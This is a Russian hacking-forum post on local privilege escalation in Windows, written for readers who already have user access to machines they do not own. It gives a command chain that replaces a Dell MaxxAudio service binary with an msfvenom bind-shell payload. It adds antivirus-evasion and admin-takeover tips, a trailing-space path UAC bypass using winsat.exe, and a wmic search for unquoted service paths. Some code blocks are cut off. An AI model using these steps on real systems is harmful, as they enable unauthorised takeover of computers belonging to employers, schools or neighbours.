![]() |
И на "Античате", и на других ресурсах подобной направленности зачастую интересуются методами локального поднятия привилегий в Windows. Оно и понятно, сценарий достаточно широко распространенный - получил любопытный гражданин штатный доступ хоть к пользовательской учетной записи корпоративного рабочего места, хоть к удаленному RDS-серверу в рамках какой-нибудь образовательной программы, или "затроянил" пользовательскую почту на компьютере бабушки-соседки,а ручки-то чешутся - и перед настойчивым естествопытателем во весь рост встает вопрос "что делать дальше ?". К тому же, получить к тому или иному, особенно работающему в многопользовательском режиме компьютеру/серверу, пользовательский доступ куда проще, чем административный.
Техники локального повышения привилегий в Windows насчитывают как минимум более десятка видов, и далеко не всегда связаны с необходимостью корпения над отладчиков или дизассемблирования kernel-модулей, хотя компания Microsoft, безусловно, достаточно много делает для улучшения безопасности своих ОСей последние несколько лет. Однако закончим "разливаться мыслью по древу", и перейдем к конкретике. Все приведенные ниже примеры конкретных уязвимостей достаточно свежие, и присутствуют in the wild весьма широко. Прежде всего надо заметить, что поиск векторов для локального повышения привилегий в Windows - процесс достаточно трудоёмкий, требует системного подхода и внимательности к деталям, поэтому начнем со схемы, позаимствованной из презентации сотрудника "Лаборатории Касперского" @HeirhabarovT Одно из наиболее свежих руководств, более-менее системно описывающих процесс поиска путей повышения привилегий, здесь, и включает в себя: - инвентаризацию системы и установленных в ней обновлений - инвентаризацию пользователей системы, их членства в группах, поиск сервера авторизации (при работе в домене) - поиск в реестре учетных данных для автологона - поиск данных в Credential Manager - наличие доступа к файлами реестра (я бы добавл - и поиск их резервных копий) - инвентаризацию установленных программ, служб и сервисов, включая права на их использование и права на доступ к соотнесенными с ними файлам на диске - инвентаризацию заданий по расписанию (стороннее ПО иногда любит добавлять туда свои компоненты для обновления или резервного копирования) - инвентаризацию процессов, запускаемых при старте системы (autorun) - инвентаризацию сетевого окружения (таблица маршрутизации, подключенные сетевые диски и пр.) - поиск компонентов web-серверов (IIS, Apache). Скрипт для инвентаризации можно найти здесь (он не единственный, их вообще достаточно много). Хотя список этот далеко не полный - например, не выполняется проверка наличия файлов с параметрами автоматической установки (sysprep/unattended), нет поиска объектов GPO - однако пользоваться им в практической деятельности достаточно удобно. Кое-что из жизни. Типичный пример неправильного назначения разрешений при установки драйверов - уязвимость с возможностью перезаписи файла драйвера звуковых устройств MaxxAudio (maxx.com), устанавливаемый по умолчанию на некоторых ноутбуках компании Dell. Драйвер представлен службой с именем wavessyssvc, выполняющейся с привилегями LocalSystem Код:
sc qc wavessyssvcКод:
icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"Код:
move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak"Код:
copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe"предварительно сгенерированный Metasploit-ом Код:
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exeДа, использовать этот метод "в лоб" вряд ли получится - практически стопроцентно среагирует антивирус, и для активации нужен перезапуск слубы (чего пользователь сделать не может), либо перезагрузка компьютера. Для решения этих проблем есть обфускация, да и вообще использовать Metasploit для shell тут не обязательно, ведь к рабочему месту доступ и так уже есть - гораздо логичнее написать простейшую "обертку" драйвера, который при запуске выполнит, например, добавление в группу "Администраторы" всех локальных пользователей, или сменит пароль администратора на любой желаемый. Впрочем, не надо думать, что такими недостатками страдают исключительно продукты сторонних фирм. В конце прошлого года в механизме контроля доступа была обнаружена весьма элегантная уязвимость, связанная с подменой пути для особо доверенных файлов, повышение привилегий которых выполняется автоматически, без дополнительных запросов. Файлы при этом должны удовлетворять трем критериям - они специально сконфигурированы для автоматического повышения привилегий, правильно подписаны и исполняются из надежного каталога/директории. Основная мысль exploit-а состоит в том, чтобы заставить Windows проверять один (легальный правильный) файл, а исполнять - другой (нелегальный, с payload). На примере утилиты winsat.exe (это такое средство для цоенки производительности Windows) алгоритм эксплуатации включает следующие шаги: - с использованием API создается "фейковый" путь для обмана проверок UAC - каталог "c:\Windows \" (с символом ПРОБЕЛ в конце пути), и каталог System32 внутри него - в этот созданный каталог заливается "неправильный" (содержащий злонамеренный код) файл winsat.exe При запуске этого "неправильного" файла при проверке UAC в результате "нормализации" пути пробел отбрасывается, и все проверки выполняются для "правильного" файла - и действительно, он подписан, сконфигрирован для автоматического повышения привилегий и лежит по доверенному пути. А фактически запускается - наш ! Весь код для эксплуатации укладывается в пару десятков строк и выглядит так - Код:
#include "stdafx.h"Завершим этот коротенький обзор следующим занятным примером, также связанным с неправильной обработкой путей при запуске служб в Windows. Если в пути к файлу службы отсутствуют кавычки (а это часто бывает по недосмотру разработчиков или просто), то Windows будет искать исполняемый файл по всем разделенным пробелами путям типа Код:
c:\Program.exeНайти такие службы достаточно просто - Код:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v ""Ссылка на презентацию тут. А вот его же презентация на ZeroNights 2017, затрагивающая эту же тему, но больше акцентированная на тему защиты - Ссылка на презентацию здесь. Понятно, что список специалистов по преодолению защитных механизмов Windows сотрудниками "ЛК" не ограничивается - вот еще выступление и презентация с этой же конференции на тему обхода UAC (осторожно, глубокое погружение в тему) Ссылка на презентацию здесь. Интересующимся можно также посмотреть презентацию с Defcon 22 на тему получения хэшей других локальных (или локально залогиненных доменных) пользователей компьютера/сервера без наличия административных прав Ссылка на презентацию здесь. Отдельно стоит остановиться на приемах технического противодействия, используемых опытными админами или производителями антивирусных и контрольных средств для предотвращения подобной деятельности вроде регулирующих различные виды доступа групповых политик. Вопросы защиты куда как более актуальны в больших корпоративных средах, то на отдельных пользовательских рабочих местах их практически не встретишь - и это отдельная большая тема. P.S.: Если в рамках данного (или отдельного) поста интересует более подробное раскрытие темы с картинками и видео, описывающие реальныекейсы, или список технических защитных мер со стороны админов и противодействие им со стороны злоумышленника - пожалуйста, одобрите пост и напишите пожелания в комментариях. |
| Время: 00:03 |